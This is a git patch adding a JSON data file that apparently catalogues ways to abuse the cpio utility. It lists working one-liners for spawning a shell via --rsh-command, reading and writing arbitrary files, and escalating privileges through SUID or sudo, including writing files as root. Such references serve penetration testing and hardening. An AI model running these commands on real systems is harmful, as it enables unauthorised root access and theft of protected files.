From 1cd234a1add55349cdb5975625464e259f483a61 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 7 Mar 2021 13:08:48 +0100 Subject: [PATCH] add data source for cpio --- data/cpio.json | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 data/cpio.json diff --git a/data/cpio.json b/data/cpio.json new file mode 100644 index 0000000..4d7db47 --- /dev/null +++ b/data/cpio.json @@ -0,0 +1,48 @@ +{ + "functions": { + "shell": [ + { + "code": "echo '/bin/sh /dev/tty' >localhost\ncpio -o --rsh-command /bin/sh -F localhost:\n" + } + ], + "file-read": [ + { + "description": "The content of the file is printed to standard output, between the cpio archive format header and footer.", + "code": "echo \"[file]\" | cpio -o\n" + }, + { + "description": "The whole directory structure is copied to '$TF'.", + "code": "TF=$(mktemp -d)\necho \"[file]\" | cpio -dp $TF\ncat \"$TF/[file]\"\n" + } + ], + "file-write": [ + { + "description": "Copies the file to the dir directory.", + "code": "echo [data] >[file]\necho [file] | cpio -up [dir]\n" + } + ], + "suid": [ + { + "description": "The whole directory structure is copied to '$TF'.", + "code": "TF=$(mktemp -d)\necho \"[file]\" | ./cpio -R $UID -dp $TF\ncat \"$TF/[file]\"\n" + }, + { + "description": "Copies `$LFILE` to the `$LDIR` directory.", + "code": "echo [data] >[file]\necho [file] | ./cpio -R 0:0 -p [dir]\n" + } + ], + "sudo": [ + { + "code": "echo '/bin/sh /dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:\n" + }, + { + "description": "The whole directory structure is copied to '$TF'.", + "code": "TF=$(mktemp -d)\necho \"[file]\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/[file]\"\n" + }, + { + "description": "Copies the file to the dir directory.", + "code": "echo [data] >[file]\necho [file] | sudo cpio -R 0:0 -p [dir]\n" + } + ] + } +}